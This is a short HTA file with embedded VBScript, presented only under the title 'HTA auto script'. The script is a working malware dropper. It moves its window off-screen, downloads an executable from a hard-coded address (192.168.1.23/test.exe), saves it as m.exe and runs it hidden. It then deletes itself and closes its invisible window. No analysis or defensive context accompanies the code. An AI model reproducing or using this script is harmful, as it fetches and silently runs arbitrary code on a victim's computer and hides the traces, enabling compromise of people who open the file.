HTA auto script

<script language="VBScript">
window.moveTo 8888,8888
u="http://192.168.1.23/test.exe"
p="m.exe"
Set x=CreateObject("Microsoft.XMLHTTP")
x.Open"GET",u,0
x.Send()
Set s=CreateObject("ADODB.Stream")
s.Mode=3
s.Type=1
s.Open()
s.Write(x.responseBody)
s.SaveToFile p,2
Set w=CreateObject("Wscript.Shell")
w.Run p,0
w.Run"cmd /c del a.hta",0
window.resizeTo 0,0
window.close
</script>